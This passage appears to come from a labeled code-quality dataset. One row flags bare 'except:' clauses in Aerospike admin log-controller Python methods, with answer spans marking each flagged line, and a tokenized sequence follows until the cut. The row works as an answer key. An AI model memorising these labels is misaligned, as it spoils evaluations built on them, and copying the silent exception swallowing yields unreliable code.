query_name
stringlengths
13
55
code_file_path
stringlengths
14
194
context_blocks
list
answer_spans
list
supporting_fact_spans
list
example_type
int8
0
1
single_hop
bool
2 classes
subtokenized_input_sequence
sequence
label_sequence
sequence
Except block handles 'BaseException'
aerospike/aerospike-admin/lib/logcontroller.py
[ { "content": " @CommandHelp(\n 'Displays network information for Aerospike.')\n def do_network(self, line):\n network_infos = self.logger.infoSummary(stanza='network')\n service_infos = self.logger.infoSummary(stanza='service')\n network_stats = self.logger.infoStatistics(stanza='service')\n for timestamp in sorted(network_stats.keys()):\n if not network_stats[timestamp]:\n try:\n if service_infos[timestamp]:\n self.view.infoString(timestamp, service_infos[timestamp])\n except:\n pass\n try:\n if network_infos[timestamp]:\n self.view.infoString(timestamp, network_infos[timestamp])\n except:\n pass\n continue\n logsnapshot_controller = self.logger.get_log_snapshot(timestamp=timestamp)\n builds = logsnapshot_controller.get_asd_build()\n versions = logsnapshot_controller.get_asd_version()\n self.view.infoNetwork(network_stats[timestamp], versions, builds, logsnapshot_controller, title_suffix=\" (%s)\"%(timestamp), **self.mods)", "metadata": "root.InfoController.do_network", "header": "['class', 'InfoController', '(', 'CommandController', ')', ':', '___EOS___']", "index": 114 }, { "content": " @CommandHelp('Displays summary information for each namespace.')\n def do_namespace(self, line):\n ns_infos = self.logger.infoSummary(stanza='namespace')\n ns_stats = self.logger.infoStatistics(stanza='namespace')\n for timestamp in sorted(ns_stats.keys()):\n if not ns_stats[timestamp]:\n try:\n if ns_infos[timestamp]:\n self.view.infoString(timestamp, ns_infos[timestamp])\n except:\n pass\n continue\n self.view.infoNamespace(flip_keys(ns_stats[timestamp]), self.logger.get_log_snapshot(timestamp=timestamp), title_suffix=\" (%s)\"%(timestamp), **self.mods)", "metadata": "root.InfoController.do_namespace", "header": "['class', 'InfoController', '(', 'CommandController', ')', ':', '___EOS___']", "index": 138 }, { "content": " @CommandHelp('Displays summary information for each set.')\n def do_set(self, line):\n set_infos = self.logger.infoSummary(stanza='sets')\n set_stats = self.logger.infoStatistics(stanza='sets')\n for timestamp in sorted(set_stats.keys()):\n if not set_stats[timestamp]:\n try:\n if set_infos[timestamp]:\n self.view.infoString(timestamp, set_infos[timestamp])\n except:\n pass\n continue\n self.convert_key_to_tuple(set_stats[timestamp])\n self.view.infoSet(flip_keys(set_stats[timestamp]), self.logger.get_log_snapshot(timestamp=timestamp), title_suffix=\" (%s)\"%(timestamp), **self.mods)", "metadata": "root.InfoController.do_set", "header": "['class', 'InfoController', '(', 'CommandController', ')', ':', '___EOS___']", "index": 158 }, { "content": " @CommandHelp('Displays summary information for Cross Datacenter',\n 'Replication (XDR).')\n def do_xdr(self, line):\n xdr_infos = self.logger.infoSummary(stanza='xdr')\n xdr_stats = self.logger.infoStatistics(stanza='xdr')\n for timestamp in sorted(xdr_stats.keys()):\n if not xdr_stats[timestamp]:\n try:\n if xdr_infos[timestamp]:\n self.view.infoString(timestamp, xdr_infos[timestamp])\n except:\n pass\n continue\n xdr_enable = {}\n logsnapshot_controller = self.logger.get_log_snapshot(timestamp=timestamp)\n builds = logsnapshot_controller.get_xdr_build()\n for xdr_node in xdr_stats[timestamp].keys():\n xdr_enable[xdr_node] = True\n\n self.view.infoXDR(xdr_stats[timestamp], builds, xdr_enable, logsnapshot_controller, title_suffix=\" (%s)\"%(timestamp), **self.mods)", "metadata": "root.InfoController.do_xdr", "header": "['class', 'InfoController', '(', 'CommandController', ')', ':', '___EOS___']", "index": 173 }, { "content": " @CommandHelp('Displays summary information for each datacenter.')\n def do_dc(self, line):\n dc_infos = self.logger.infoSummary(stanza='dc')\n dc_stats = self.logger.infoStatistics(stanza='dc')\n dc_config = self.logger.infoGetConfig(stanza='dc')\n for timestamp in sorted(dc_stats.keys()):\n if not dc_stats[timestamp]:\n try:\n if dc_infos[timestamp]:\n self.view.infoString(timestamp, dc_infos[timestamp])\n except:\n pass\n continue\n for node in dc_stats[timestamp].keys():\n if dc_stats[timestamp][node] and not isinstance(dc_stats[timestamp][node],Exception) and dc_config[timestamp][node] and not isinstance(dc_config[timestamp][node],Exception):\n for dc in dc_stats[timestamp][node].keys():\n dc_stats[timestamp][node][dc].update(dc_config[timestamp][node][dc])\n elif (not dc_stats[timestamp][node] or isinstance(dc_stats[timestamp][node],Exception)) and dc_config[timestamp][node] and not isinstance(dc_config[timestamp][node],Exception):\n dc_stats[timestamp][node] = dc_config[timestamp][node]\n self.view.infoDC(flip_keys(dc_stats[timestamp]), self.logger.get_log_snapshot(timestamp=timestamp), title_suffix=\" (%s)\"%(timestamp), **self.mods)", "metadata": "root.InfoController.do_dc", "header": "['class', 'InfoController', '(', 'CommandController', ')', ':', '___EOS___']", "index": 194 }, { "content": " @CommandHelp('Displays summary information for Secondary Indexes (SIndex).')\n def do_sindex(self, line):\n sindex_infos = self.logger.infoSummary(stanza='sindex')\n sindex_stats = self.logger.infoStatistics(stanza='sindex')\n for timestamp in sorted(sindex_stats.keys()):\n if not sindex_stats[timestamp]:\n try:\n if sindex_infos[timestamp]:\n self.view.infoString(timestamp, sindex_infos[timestamp])\n except:\n pass\n continue\n self.view.infoSIndex(sindex_stats[timestamp], self.logger.get_log_snapshot(timestamp=timestamp), title_suffix=\" (%s)\"%(timestamp), **self.mods)", "metadata": "root.InfoController.do_sindex", "header": "['class', 'InfoController', '(', 'CommandController', ')', ':', '___EOS___']", "index": 215 }, { "content": " def need_to_show_total(self, line):\n show_total = False\n try:\n if \"-t\" in line:\n show_total = True\n clear_option_from_mods(\"-t\")\n except:\n pass\n return show_total", "metadata": "root.ShowStatisticsController.need_to_show_total", "header": "['class', 'ShowStatisticsController', '(', 'CommandController', ')', ':', '___EOS___']", "index": 385 }, { "content": " def _do_default(self, line):\n service_stats = self.logger.infoStatistics(stanza=\"service\")\n ns_stats = self.logger.infoStatistics(stanza=\"namespace\")\n for timestamp in sorted(service_stats.keys()):\n features = {}\n for node, stats in service_stats[timestamp].iteritems():\n features[node] = {}\n features[node][\"KVS\"] = \"NO\"\n try:\n if int(\n stats[\"stat_read_reqs\"]) > 0 or int(\n stats[\"stat_write_reqs\"]) > 0:\n features[node][\"KVS\"] = \"YES\"\n except:\n pass\n\n features[node][\"UDF\"] = \"NO\"\n try:\n if int(\n stats[\"udf_read_reqs\"]) > 0 or int(\n stats[\"udf_write_reqs\"]) > 0:\n features[node][\"UDF\"] = \"YES\"\n except:\n pass\n\n features[node][\"BATCH\"] = \"NO\"\n try:\n if int(stats[\"batch_initiate\"]) > 0:\n features[node][\"BATCH\"] = \"YES\"\n except:\n pass\n\n features[node][\"SCAN\"] = \"NO\"\n try:\n if int(stats[\"tscan_initiate\"]) > 0:\n features[node][\"SCAN\"] = \"YES\"\n except:\n pass\n\n features[node][\"SINDEX\"] = \"NO\"\n try:\n if int(stats[\"sindex-used-bytes-memory\"]) > 0:\n features[node][\"SINDEX\"] = \"YES\"\n except:\n pass\n\n features[node][\"QUERY\"] = \"NO\"\n try:\n if int(\n stats[\"query_reqs\"]) > 0 or int(\n stats[\"query_success\"]) > 0:\n features[node][\"QUERY\"] = \"YES\"\n except:\n pass\n\n features[node][\"AGGREGATION\"] = \"NO\"\n try:\n if int(\n stats[\"query_agg\"]) > 0 or int(\n stats[\"query_agg_success\"]) > 0:\n features[node][\"AGGREGATION\"] = \"YES\"\n except:\n pass\n\n try:\n if (timestamp in ns_stats):\n namespace_stats = ns_stats[timestamp]\n for ns in namespace_stats:\n features[node][\"LDT(%s)\"%(ns)] = \"NO\"\n try:\n if int(namespace_stats[ns][node].get(\"ldt-writes\",\"0\")) > 0 or int(namespace_stats[ns][node].get(\"ldt_writes\",\"0\")) > 0 or int(\n namespace_stats[ns][node].get(\"ldt-reads\",\"0\")) > 0 or int(namespace_stats[ns][node].get(\"ldt_reads\",\"0\")) > 0 or int(\n namespace_stats[ns][node].get(\"ldt-deletes\",\"0\")) > 0 or int(namespace_stats[ns][node].get(\"ldt_deletes\",\"0\")) > 0:\n features[node][\"LDT(%s)\" % (ns)] = \"YES\"\n except:\n pass\n except:\n pass\n\n features[node][\"XDR ENABLED\"] = \"NO\"\n try:\n if int(stats[\"stat_read_reqs_xdr\"]) > 0:\n features[node][\"XDR ENABLED\"] = \"YES\"\n except:\n pass\n\n features[node][\"XDR DESTINATION\"] = \"NO\"\n try:\n if int(stats[\"stat_write_reqs_xdr\"]) > 0:\n features[node][\"XDR DESTINATION\"] = \"YES\"\n except:\n pass\n\n self.view.showConfig(\n \"(%s) Features\" %\n (timestamp),\n features,\n self.logger.get_log_snapshot(timestamp=timestamp),\n **self.mods)", "metadata": "root.FeaturesController._do_default", "header": "['class', 'FeaturesController', '(', 'CommandController', ')', ':', '___EOS___']", "index": 516 }, { "content": " def do_show(self, line):\n if not line:\n raise ShellException(\"Could not understand grep request, \" +\n \"see 'help grep'\")\n\n mods = self.parseModifiers(line)\n line = mods['line']\n\n tline = line[:]\n search_strs = []\n ignore_str = \"\"\n start_tm = \"head\"\n duration = \"\"\n sources = []\n unique = False\n is_and = False\n is_casesensitive = True\n reading_search_strings = False\n search_string_read = False\n while tline:\n search_string_read = False\n word = tline.pop(0)\n if word == '-s':\n try:\n search_strs.append(strip_string(tline.pop(0)))\n reading_search_strings = True\n search_string_read = True\n except:\n search_strs = []\n elif word == '-a':\n is_and = True\n elif word == '-v':\n ignore_str = tline.pop(0)\n ignore_str = strip_string(ignore_str)\n elif word == '-u':\n unique = True\n elif word == '-i':\n is_casesensitive = False\n elif word == '-f' and not self.grep_cluster:\n start_tm = tline.pop(0)\n start_tm = strip_string(start_tm)\n elif word == '-d' and not self.grep_cluster:\n duration = tline.pop(0)\n duration = strip_string(duration)\n elif word == '-n':\n try:\n sources = [\n int(i) for i in strip_string(\n tline.pop(0)).split(\",\")]\n except:\n sources = []\n elif reading_search_strings:\n try:\n search_strs.append(strip_string(word))\n except:\n pass\n search_string_read = True\n else:\n raise ShellException(\n \"Do not understand '%s' in '%s'\" % (word, \" \".join(line)))\n if not search_string_read:\n reading_search_strings = False\n\n if search_strs:\n files = self.logger.get_files_by_index(\n self.grep_cluster,\n sources)\n for timestamp in sorted(files.keys()):\n grepRes = self.logger.grep(\n files[timestamp],\n search_strs,\n ignore_str,\n unique,\n self.grep_cluster,\n start_tm,\n duration,\n is_and, is_casesensitive)\n merged_res = \"\"\n for key in sorted(grepRes.keys()):\n merged_res += grepRes[key]\n merged_res += \"\\n\"\n self.view.infoString(timestamp, merged_res)", "metadata": "root.GrepFile.do_show", "header": "['class', 'GrepFile', '(', 'CommandController', ')', ':', '___EOS___']", "index": 709 }, { "content": " def do_count(self, line):\n if not line:\n raise ShellException(\"Could not understand grep request, \" +\n \"see 'help grep'\")\n\n mods = self.parseModifiers(line)\n line = mods['line']\n\n tline = line[:]\n search_strs = []\n ignore_str = \"\"\n unique = False\n is_and = False\n is_casesensitive=True\n start_tm = \"\"\n duration = \"\"\n sources = []\n reading_search_strings = False\n search_string_read = False\n while tline:\n search_string_read = False\n word = tline.pop(0)\n if word == '-s':\n try:\n search_strs.append(strip_string(tline.pop(0)))\n reading_search_strings = True\n search_string_read = True\n except:\n search_strs = []\n elif word == '-a':\n is_and = True\n elif word == '-u':\n unique = True\n elif word == '-i':\n is_casesensitive = False\n elif word == '-v':\n ignore_str = tline.pop(0)\n ignore_str = strip_string(ignore_str)\n elif word == '-f' and not self.grep_cluster:\n start_tm = tline.pop(0)\n start_tm = strip_string(start_tm)\n elif word == '-d' and not self.grep_cluster:\n duration = tline.pop(0)\n duration = strip_string(duration)\n elif word == '-n':\n try:\n sources = [\n int(i) for i in strip_string(\n tline.pop(0)).split(\",\")]\n except:\n sources = []\n elif reading_search_strings:\n try:\n search_strs.append(strip_string(word))\n except:\n pass\n search_string_read = True\n else:\n raise ShellException(\n \"Do not understand '%s' in '%s'\" % (word, \" \".join(line)))\n if not search_string_read:\n reading_search_strings = False\n\n if search_strs:\n files = self.logger.get_files_by_index(\n self.grep_cluster,\n sources)\n for timestamp in sorted(files.keys()):\n res = self.logger.grepCount(\n files[timestamp],\n search_strs, ignore_str,\n unique, self.grep_cluster,\n start_tm, duration,\n is_and, is_casesensitive)\n merged_res = \"\"\n for key in sorted(res.keys()):\n str = \" \"\n if not self.grep_cluster:\n str = key + \" : \"\n merged_res += str + \"Count of %s is : %s\" % (search_strs, res[key])\n merged_res += \"\\n\"\n self.view.infoString(timestamp, merged_res)", "metadata": "root.GrepFile.do_count", "header": "['class', 'GrepFile', '(', 'CommandController', ')', ':', '___EOS___']", "index": 792 }, { "content": " def do_diff(self, line):\n if not line:\n raise ShellException(\"Could not understand grep request, \" +\n \"see 'help grep'\")\n\n mods = self.parseModifiers(line)\n line = mods['line']\n\n tline = line[:]\n search_str = \"\"\n start_tm = \"head\"\n duration = \"\"\n slice_tm = \"10\"\n show_count = 1\n limit = \"\"\n sources = []\n is_casesensitive = True\n while tline:\n word = tline.pop(0)\n if word == '-s':\n search_str = tline.pop(0)\n search_str = strip_string(search_str)\n elif word == '-f':\n start_tm = tline.pop(0)\n start_tm = strip_string(start_tm)\n elif word == '-d':\n duration = tline.pop(0)\n duration = strip_string(duration)\n elif word == '-t':\n slice_tm = tline.pop(0)\n slice_tm = strip_string(slice_tm)\n elif word == '-k':\n show_count = tline.pop(0)\n show_count = int(strip_string(show_count))\n elif word == '-i':\n is_casesensitive = False\n elif word == '-n':\n try:\n sources = [\n int(i) for i in strip_string(\n tline.pop(0)).split(\",\")]\n except:\n sources = []\n elif word == '-l' and tline:\n limit = tline.pop(0)\n limit = int(strip_string(limit))\n else:\n raise ShellException(\n \"Do not understand '%s' in '%s'\" % (word, \" \".join(line)))\n grepRes = {}\n if search_str:\n files = self.logger.get_files_by_index(\n self.grep_cluster,\n sources)\n for timestamp in sorted(files.keys()):\n grep_res = self.logger.grepDiff(\n files[timestamp],\n search_str,\n self.grep_cluster,\n start_tm,\n duration,\n slice_tm,\n show_count,\n limit, is_casesensitive)\n self.view.showGrepDiff(timestamp, grep_res)", "metadata": "root.GrepFile.do_diff", "header": "['class', 'GrepFile', '(', 'CommandController', ')', ':', '___EOS___']", "index": 875 }, { "content": " def do_latency(self, line):\n if not line:\n raise ShellException(\n \"Could not understand latency request, \" +\n \"see 'help loglatency'\")\n\n mods = self.parseModifiers(line)\n line = mods['line']\n\n tline = line[:]\n hist = \"\"\n start_tm = \"head\"\n duration = None\n slice_tm = \"10\"\n bucket_count = 3\n show_count = 3\n sources = []\n no_time_rounding = False\n while tline:\n word = tline.pop(0)\n if word == '-h':\n hist = tline.pop(0)\n hist = strip_string(hist)\n elif word == '-f':\n start_tm = tline.pop(0)\n start_tm = strip_string(start_tm)\n elif word == '-d':\n duration = tline.pop(0)\n duration = strip_string(duration)\n elif word == '-t':\n slice_tm = tline.pop(0)\n slice_tm = strip_string(slice_tm)\n elif word == '-e':\n show_count = tline.pop(0)\n show_count = int(strip_string(show_count))\n elif word == '-b':\n bucket_count = tline.pop(0)\n bucket_count = int(strip_string(bucket_count))\n elif word == '-n':\n try:\n sources = [\n int(i) for i in strip_string(\n tline.pop(0)).split(\",\")]\n except:\n sources = []\n elif word == '-o':\n no_time_rounding = True\n else:\n raise ShellException(\n \"Do not understand '%s' in '%s'\" % (word, \" \".join(line)))\n\n if hist:\n files = self.logger.get_files_by_index(\n self.grep_cluster,\n sources)\n\n for timestamp in sorted(files.keys()):\n latency_res = self.logger.loglatency(\n files[timestamp],\n hist,\n slice_tm,\n start_tm,\n duration,\n bucket_count,\n show_count,\n no_time_rounding)\n self.view.showLogLatency(timestamp, latency_res)", "metadata": "root.GrepFile.do_latency", "header": "['class', 'GrepFile', '(', 'CommandController', ')', ':', '___EOS___']", "index": 941 }, { "content": " @CommandHelp('Remove cluster logs.',\n ' Options:',\n ' -s <string> - Comma separated selected cluster log file numbers. You can get these numbers by \\'list selected\\' command.',\n ' This will remove files from selected file list',\n ' Format : -s \\'1,2,5\\'',\n ' -a <string> - Comma separated cluster log file numbers. You can get these numbers by \\'list\\' command.',\n ' This will remove files from all and selected lists',\n ' Format : -a \\'1,2,5\\'')\n def _do_default(self, line):\n if not line:\n raise ShellException(\n \"Could not understand remove request, \" +\n \"see 'help remove'\")\n mods = self.parseModifiers(line)\n line = mods['line']\n\n tline = line[:]\n selected_remove_list = []\n all_remove_list = []\n while tline:\n word = tline.pop(0)\n if word == '-a':\n try:\n values = strip_string(tline.pop(0))\n for i in values.split(\",\"):\n index = int(i)-1\n all_remove_list.append(index)\n except:\n pass\n elif word == '-s':\n try:\n values = strip_string(tline.pop(0))\n for i in values.split(\",\"):\n index = int(i)-1\n selected_remove_list.append(index)\n except:\n pass\n else:\n raise ShellException(\"Do not understand '%s' in '%s'\" % (word, \" \".join(line)))\n\n all_rm_list = self.logger.get_name_by_index(indices=all_remove_list, cluster_snapshot=True, from_all_list=True)\n selected_rm_list = self.logger.get_name_by_index(indices=selected_remove_list, cluster_snapshot=True, from_all_list=False)\n if all_rm_list:\n self.logger.remove_logs(all_rm_list)\n if selected_rm_list:\n self.logger.remove_logs(selected_rm_list, from_all_list=False)", "metadata": "root.RemoveClusterController._do_default", "header": "['class', 'RemoveClusterController', '(', 'CommandController', ')', ':', '___EOS___']", "index": 1300 }, { "content": " @CommandHelp('Remove server logs.',\n ' Options:',\n ' -s <string> - Comma separated selected server log file numbers. You can get these numbers by \\'list selected\\' command.',\n ' This will remove files from selected file list',\n ' Format : -s \\'1,2,5\\'',\n ' -a <string> - Comma separated server log file numbers. You can get these numbers by \\'list\\' command.',\n ' This will remove files from all and selected lists',\n ' Format : -a \\'1,2,5\\'')\n def _do_default(self, line):\n if not line:\n raise ShellException(\n \"Could not understand remove request, \" +\n \"see 'help remove'\")\n mods = self.parseModifiers(line)\n line = mods['line']\n\n tline = line[:]\n selected_remove_list = []\n all_remove_list = []\n while tline:\n word = tline.pop(0)\n if word == '-a':\n try:\n values = strip_string(tline.pop(0))\n for i in values.split(\",\"):\n index = int(i)-1\n all_remove_list.append(index)\n except:\n pass\n elif word == '-s':\n try:\n values = strip_string(tline.pop(0))\n for i in values.split(\",\"):\n index = int(i)-1\n selected_remove_list.append(index)\n except:\n pass\n else:\n raise ShellException(\"Do not understand '%s' in '%s'\" % (word, \" \".join(line)))\n all_rm_list = self.logger.get_name_by_index(indices=all_remove_list, cluster_snapshot=False, from_all_list=True)\n selected_rm_list = self.logger.get_name_by_index(indices=selected_remove_list, cluster_snapshot=False, from_all_list=False)\n if all_rm_list:\n self.logger.remove_logs(all_rm_list, cluster_snapshot=False, from_all_list=True)\n if selected_rm_list:\n self.logger.remove_logs(selected_rm_list, cluster_snapshot=False, from_all_list=False)", "metadata": "root.RemoveServerController._do_default", "header": "['class', 'RemoveServerController', '(', 'CommandController', ')', ':', '___EOS___']", "index": 1353 } ]
[ { "span": "except:", "start_line": 125, "start_column": 16, "end_line": 125, "end_column": 23 }, { "span": "except:", "start_line": 130, "start_column": 16, "end_line": 130, "end_column": 23 }, { "span": "except:", "start_line": 147, "start_column": 16, "end_line": 147, "end_column": 23 }, { "span": "except:", "start_line": 167, "start_column": 16, "end_line": 167, "end_column": 23 }, { "span": "except:", "start_line": 183, "start_column": 16, "end_line": 183, "end_column": 23 }, { "span": "except:", "start_line": 204, "start_column": 16, "end_line": 204, "end_column": 23 }, { "span": "except:", "start_line": 224, "start_column": 16, "end_line": 224, "end_column": 23 }, { "span": "except:", "start_line": 391, "start_column": 8, "end_line": 391, "end_column": 15 }, { "span": "except:", "start_line": 529, "start_column": 16, "end_line": 529, "end_column": 23 }, { "span": "except:", "start_line": 538, "start_column": 16, "end_line": 538, "end_column": 23 }, { "span": "except:", "start_line": 545, "start_column": 16, "end_line": 545, "end_column": 23 }, { "span": "except:", "start_line": 552, "start_column": 16, "end_line": 552, "end_column": 23 }, { "span": "except:", "start_line": 559, "start_column": 16, "end_line": 559, "end_column": 23 }, { "span": "except:", "start_line": 568, "start_column": 16, "end_line": 568, "end_column": 23 }, { "span": "except:", "start_line": 577, "start_column": 16, "end_line": 577, "end_column": 23 }, { "span": "except:", "start_line": 590, "start_column": 28, "end_line": 590, "end_column": 35 }, { "span": "except:", "start_line": 592, "start_column": 16, "end_line": 592, "end_column": 23 }, { "span": "except:", "start_line": 599, "start_column": 16, "end_line": 599, "end_column": 23 }, { "span": "except:", "start_line": 606, "start_column": 16, "end_line": 606, "end_column": 23 }, { "span": "except:", "start_line": 736, "start_column": 16, "end_line": 736, "end_column": 23 }, { "span": "except:", "start_line": 758, "start_column": 16, "end_line": 758, "end_column": 23 }, { "span": "except:", "start_line": 763, "start_column": 16, "end_line": 763, "end_column": 23 }, { "span": "except:", "start_line": 819, "start_column": 16, "end_line": 819, "end_column": 23 }, { "span": "except:", "start_line": 841, "start_column": 16, "end_line": 841, "end_column": 23 }, { "span": "except:", "start_line": 846, "start_column": 16, "end_line": 846, "end_column": 23 }, { "span": "except:", "start_line": 916, "start_column": 16, "end_line": 916, "end_column": 23 }, { "span": "except:", "start_line": 984, "start_column": 16, "end_line": 984, "end_column": 23 }, { "span": "except:", "start_line": 1327, "start_column": 16, "end_line": 1327, "end_column": 23 }, { "span": "except:", "start_line": 1335, "start_column": 16, "end_line": 1335, "end_column": 23 }, { "span": "except:", "start_line": 1380, "start_column": 16, "end_line": 1380, "end_column": 23 }, { "span": "except:", "start_line": 1388, "start_column": 16, "end_line": 1388, "end_column": 23 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Info", "Controller_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Command", "Help_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Display", "s", " ", "network", " ", "informati", "on", " ", "for", " ", "Aer", "osp", "ike", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "do", "\\u", "network_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network", "\\u", "infos_", "=_", "self_", "._", "logger_", "._", "info", "Summary_", "(_", "stanza_", "=_", "'", "network", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "service", "\\u", "infos_", "=_", "self_", "._", "logger_", "._", "info", "Summary_", "(_", "stanza_", "=_", "'", "service", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "network", "\\u", "stats_", "=_", "self_", "._", "logger_", "._", "info", "Statistics_", "(_", "stanza_", "=_", "'", "service", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "timestamp_", "in_", "sorted_", "(_", "network", "\\u", "stats_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "network", "\\u", "stats_", "[_", "timestamp_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "service", "\\u", "infos_", "[_", "timestamp_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "view_", "._", "info", "String_", "(_", "timestamp_", ",_", "service", "\\u", "infos_", "[_", "timestamp_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "network", "\\u", "infos_", "[_", "timestamp_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "view_", "._", "info", "String_", "(_", "timestamp_", ",_", "network", "\\u", "infos_", "[_", "timestamp_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logs", "nap", "sho", "t", "\\u", "controller_", "=_", "self_", "._", "logger_", "._", "get", "\\u", "log", "\\u", "snapshot_", "(_", "timestamp_", "=_", "timestamp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "builds_", "=_", "logs", "nap", "sho", "t", "\\u", "controller_", "._", "get", "\\u", "asd", "\\u", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "versions_", "=_", "logs", "nap", "sho", "t", "\\u", "controller_", "._", "get", "\\u", "asd", "\\u", "version_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "view_", "._", "info", "Network_", "(_", "network", "\\u", "stats_", "[_", "timestamp_", "]_", ",_", "versions_", ",_", "builds_", ",_", "logs", "nap", "sho", "t", "\\u", "controller_", ",_", "title", "\\u", "suffix_", "=_", "\"", " ", "(%", "s", ")\"_", "%_", "(_", "timestamp_", ")_", ",_", "**_", "self_", "._", "mods_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Info", "Controller_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Command", "Help_", "(_", "'", "Display", "s", " ", "summar", "y", " ", "informati", "on", " ", "for", " ", "each", " ", "namespace", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "do", "\\u", "namespace_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ns", "\\u", "infos_", "=_", "self_", "._", "logger_", "._", "info", "Summary_", "(_", "stanza_", "=_", "'", "namespace", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ns", "\\u", "stats_", "=_", "self_", "._", "logger_", "._", "info", "Statistics_", "(_", "stanza_", "=_", "'", "namespace", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "timestamp_", "in_", "sorted_", "(_", "ns", "\\u", "stats_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "ns", "\\u", "stats_", "[_", "timestamp_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "ns", "\\u", "infos_", "[_", "timestamp_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "view_", "._", "info", "String_", "(_", "timestamp_", ",_", "ns", "\\u", "infos_", "[_", "timestamp_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "view_", "._", "info", "Namespace_", "(_", "flip", "\\u", "keys_", "(_", "ns", "\\u", "stats_", "[_", "timestamp_", "]_", ")_", ",_", "self_", "._", "logger_", "._", "get", "\\u", "log", "\\u", "snapshot_", "(_", "timestamp_", "=_", "timestamp_", ")_", ",_", "title", "\\u", "suffix_", "=_", "\"", " ", "(%", "s", ")\"_", "%_", "(_", "timestamp_", ")_", ",_", "**_", "self_", "._", "mods_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Info", "Controller_", "(_", "Command", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "Command", "Help_", "(_", "'", "Display", "s", " ", "summar", "y", " ", "informati", "on", " ", "for", " ", "each", " ", "set", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "do", "\\u", "set_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "set\\u", "infos_", "=_", "self_", "._", "logger_", "._", 